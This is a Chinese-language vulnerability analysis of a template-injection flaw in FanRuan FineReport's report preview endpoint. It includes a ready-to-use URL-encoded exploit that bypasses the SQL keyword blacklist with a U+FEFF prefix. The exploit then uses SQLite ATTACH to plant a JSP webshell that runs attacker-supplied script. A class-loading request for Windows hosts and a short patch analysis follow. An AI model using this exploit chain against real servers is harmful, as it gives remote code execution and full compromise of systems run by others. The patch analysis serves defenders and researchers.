漏洞分析

漏洞位于 com.fr.web.controller.ReportRequestCompatibleService#preview

1
2
3
4
5
6
7
8
9
10
11
12
@RequestMapping({"/**"})  
@ResponseBody
@TemplateAuth(
product = TemplateProductType.FINE_REPORT
)
@LoginStatusChecker(
tokenResource = TokenResource.COOKIE
)
@ResourceCache
public void preview(HttpServletRequest var1, HttpServletResponse var2) throws Exception {
var2.sendRedirect(TemplateUtils.render("${fineServletURL}/view/report?" + var1.getQueryString()));
}

var1.getQueryString()会传入 TemplateUtils.render 函数中,造成模板注入,而在进行模版引擎解析时可以调用一些特定的函数(均继承了抽象类 com.fr.script.AbstractFunction),可以参考官方文档 https://help.fanruan.com/finebi/doc-view-3.html
例如传入 ${EXP(1)}
![[_resources/ReportServer表达式执行/2d8e94957453f2fe9769e0665522b8ae_MD5.jpeg]]
例如 com.fr.function.SQL,可以用于执行 sql 语句

1
${sql('FRDemo','select 1',1)}

但是实际传入参数的时候是不行的,tomcat 传参的时候不能含有特殊字符,而这里的 var1.getQueryString() 获取的是 Tomcat 对字符串进行 URL 解码前的内容,所以没有办法传入想要的内容,这时候需要用到内置函数 com.fr.function.DECODE,对内容进行解码

1
${DECODE('SELECT%20%27123456%27%3B')}

我们可以配合 decode 函数来使用 sql 函数
![[_resources/ReportServer表达式执行/1ae8b8f2941654f54700d0f85c41ee3f_MD5.jpeg]]
值得注意的是,在执行 SQL 前,会调用 com.fr.data.core.db.JDBCSecurityChecker#checkQuery 方法对 SQL 进行安全检查,这里省略相关代码,直接放出黑名单

1
private static final InsecurityElement[] FORBIDDEN_ELEMENTS_OF_VALIDATION_QUERY = new InsecurityElement[]{new InsecuritySQLKeyword("create"), new InsecuritySQLKeyword("drop"), new InsecuritySQLKeyword("alter"), new InsecuritySQLKeyword("truncate"), new InsecuritySQLKeyword("comment"), new InsecuritySQLKeyword("rename"), new InsecuritySQLKeyword("insert"), new InsecuritySQLKeyword("update"), new InsecuritySQLKeyword("delete"), new InsecuritySQLKeyword("call"), new InsecuritySQLKeyword("lock"), new InsecuritySQLKeyword("exec"), new InsecuritySQLKeyword("merge"), new InsecuritySQLKeyword("attach")};

想要利用 sqlite 落地 webshell,常见的方式是使用 attach 来写入,这里的黑名单可以使用 sqlite 的一个 trick 进行绕过,参考 https://android.googlesource.com/platform//external/sqlite/+/d11514d85b96ef33b1a78080246df7df2cf5d9ea/dist/orig/sqlite3.h,底层代码在执行 SQL 前,如果 SQL 第一个字符存在 U+FEFF,那么这个字符将被移除,我们可以通过在 SQL 前添加 U+FEFF 字符(URL 编码为%EF%BB%BF),从而绕过黑名单的限制。
最终 exp

1
n=${__f_locale__=sql(%27FRDemo%27,DECODE(%27%EF%BB%BFATTACH%20DATABASE%20%27..%2Fwebapps%2Fwebroot%2Faaa.jsp%27%20as%20gggggg%3B%27),1,1)}${__fr_locale__=sql(%27FRDemo%27,DECODE(%27%EF%BB%BFCREATE%20TABLE%20gggggg.exp2%28data%20text%29%3B%27),1,1)}${__fr_locale__=sql(%27FRDemo%27,DECODE(%27%EF%BB%BFINSERT%20INTO%20gggggg.exp2%28data%29%20VALUES%20%28x%27247b27272e676574436c61737328292e666f724e616d6528706172616d2e61292e6e6577496e7374616e636528292e676574456e67696e6542794e616d6528276a7327292e6576616c28706172616d2e62297d%27%29%3B%27),1,1)}

windows 下的依赖有问题,可以用 /webroot/decision/file 接口,对应方法位于 com.fr.web.controller.common.FileRequestService#getFile,传入 type=class 来加载 class

1
/webroot/decision/file?path=org.apache.jasper.servlet.JasperInitializer&type=class

补丁分析

修复了 JDBCSecurityChecker$InsecuritySQLKeyword.probed,现在变为正则匹配,无法绕过 attach
ReportRequestCompatibleService.preview 的参数不会进行模板解析

Reference

https://xz.aliyun.com/t/15188
https://forum.butian.net/article/514https://y4tacker.github.io/2024/07/23/year/2024/7/%E6%9F%90%E8%BD%AFReport%E9%AB%98%E7%89%88%E6%9C%AC%E4%B8%AD%E5%88%A9%E7%94%A8%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%86%E8%8A%82/https://y4tacker.github.io/2024/08/14/year/2024/8/%E6%B5%85%E8%B0%88%E5%B8%86%E8%BD%AF%E5%9C%A8Windows%E4%B8%8B%E5%86%99%E6%96%87%E4%BB%B6RCE%E5%A7%BF%E5%8A%BF/